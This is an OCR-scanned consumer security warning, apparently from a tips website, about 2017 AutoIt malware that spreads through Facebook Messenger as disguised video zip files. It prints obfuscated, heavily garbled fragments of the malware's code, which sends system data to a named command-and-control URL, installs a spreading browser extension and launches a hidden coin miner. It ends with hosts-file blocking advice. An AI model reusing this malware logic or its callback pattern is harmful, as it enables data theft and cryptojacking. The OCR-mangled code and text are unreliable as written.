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Warning: The new Facebook virus, a malicious code
that is spreading rapidly through M essenger

From yesterday (December 18, 2017), a new type of malicious code has appeared and raged in Vietnam. This
malicious code is not too sophisticated but is spreading very fast through Facebook Messenger because it is sent
from the friendsin the friend list.

From yesterday (December 18, 2017), a new type of malicious code has appeared and raged in Vietnam. This
malicious code is not too sophisticated but is spreading very fast through Facebook Messenger because it is sent
from the friendsin the friend list.

1. How to remove the code as a video format on Facebook Messenger
2. How to fix when Facebook is infected with virus

This new malicious code spreads by automatically sending a zip file inside containing a disguised video file via
Facebook Messenger with the name 'video_' + 4 random numbers.


https://tipsmake.com
https://tipsmake.com/c/information/
https://tipsmake.com/c/attack-the-network/
https://tipsmake.com/warning-the-new-facebook-virus-a-malicious-code-that-is-spreading-rapidly-through-messenger

@ Pham Bich Tram is active now.

Hai Lda >
< Home Active 29m ago % DG
e R R —

gid gia rui di xe may xa ludi di
f?g hihihi
a. vy 1a mua xe hdi zoi a
%  tién dsu ma mua
Z

ai biét kk

% dang di xe 2 banh ca tan né

@ ~ video 5114.zip ﬂ‘]

© © & O (| ©) 1D

QIWIEIRJTIYJURI JOP

AJSIDIFIGIHLIJIK]L

282 X|CJV]BIN|M

1) dau céch

According to a malware analyst, this new type of malicious code is written in Autol T language with the main
functions being tampered with:



Func udmchs()

ysidir("yKMI*99xR

),

Reghirite(ysidir("[gU=&Hz -3h*/xEUzRx?
srackguzxx()

EndFunc

Func srackgwzxx()
Sqyxkb = ObjCreate(ysidir({“h_K
$qyxkb.open(ysidir("IL]"), ysi
Sqyxkb.setrequestheader(ysidir("
("

Sqyxkb.setrequestheader(ysi h"), $oiapiyjjuaul)

Sqyxkb.setrequestheader(ysi /_.3d*Wx"), @5cripthame)
Sqyxkb. setrequestheader(ysidir("bH"), @05Version)
Sqyxkb.setrequestheader{ysidir("yKM3*99xR"), $falnezjiamn)
Sqyxkb.send()

If $qyxkb.status <> 260 Then Exit

ohivirkh()

EndFunc
Func ohivjrkh()

DirCreate(Sbbawubwsisq)

vincey()

How the code works

ysidi

), ysidie(

7926G_Ks.8."), False)

When entering the computer, the malicious code will retrieve and send information to the computer to the hxxp:

/lojoku.bigih.bid/api/cherry/login.php address.

okgwzxx ()
kb = ObjCreate ("winhtty

Func sra
o

& open ("GET", p: j
s setrequestheader ("Us
S setrequestheader ("Window"

setrequestheader ("Sc
setrequestheader ("0S",
setrequestheader ("Ins
5G send ()
If 5 kb.status <>
ohivirkh()
EndFunc

Then Exit

False)

The malicious code then downloads and installs a malicious extension to the user's browser. This extension

continues to spread the malicious files in video format to fri

ends on the Facebook of the infected person. Then,

this malicious code loads the other extension into folders such as desktop, taskbar, program . by writing the

chrome shortcut file.



Reghirite( "HKCLS ' i Versi L e 5%, Sbbawubusisa &

EndFune
Funi
" & Sbhbawubuwsjsq, . » ESH_MAXTMIZE)

EndFun.
Fun

Local Sthnhe[5] [BippDatabicr & “\Micros tern xplor & s " kBar®, @DesktopDir, SipplatalossonDic &

r*, @ProgromsComsonDir, EDesktopComsonDir]
For 3jfshbavwdgis = @ To 5 - 1
ushyc($thnhe $jfshbrvedgis])
Next

Local Satsltgbdec fitelisttoarray(Sruyum,
If gerror = @ Then
For Sjfshbnvwdgis = @ To UBound(Satsltabdec, Subound_rows) - I
rtuntachvus(Srvyus S & Satsltgbdec[3ifshbzvedgis])
Mext

FraT#

Finally, the malicious code will restart chrome for the extension to work and spread another type of malicious
code used to dig the crypto currency as ‘coin minner'. Thisiswhy your device is aways in a state of lag without
understanding why.

If FileExists(Sbbawubwsisg & & rier.exe”) AND FileExists(Sbbawubwsisq & & 2 ) Then
If NOT ProcessExists( worker.exe™) Then
Run($bbawubwsisg & & ker.exe”, WAL , @5H_HIDE)
Enalf
EndIf
Sleep(5000)
HEnd
EndFunc

How to prevent this new malicious code?

If you receive such afile, and have missed the click, download, don't worry too much, the dynamic code hasn't
spread to your computer. Because this new malware is only really spread if you open thefile.

To prevent this malicious code from spreading on your computer if you accidentally click open the file, open the
hosts file and add the following lines:

127.0.0.1 ojoku.bigih.bid
127.0.0.1 plugin.ojoku.bigih.bid

This measure is only temporary. Attackers can easily distribute malicious code other than other domains.
Therefore, to avoid this new malicious code, you should not open strange files from Facebook Messenger. Also,
use antivirus software to make sure your computer is safe.

See more:

1. The new DNS service Quad9 helps block malicious domains
2. Detect and prevent Ransomware with CyberSight RansomStopper

Y ou finished reading the article "Warning: The new Facebook virus, a malicious code that is spreading
rapidly through Messenger™ edited by the TipsM ake team. We hope this article has provided you with many
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useful tech tips and tricks. Y ou can search for similar articles on tips and guides. Thank you for reading and for
following us regularly.
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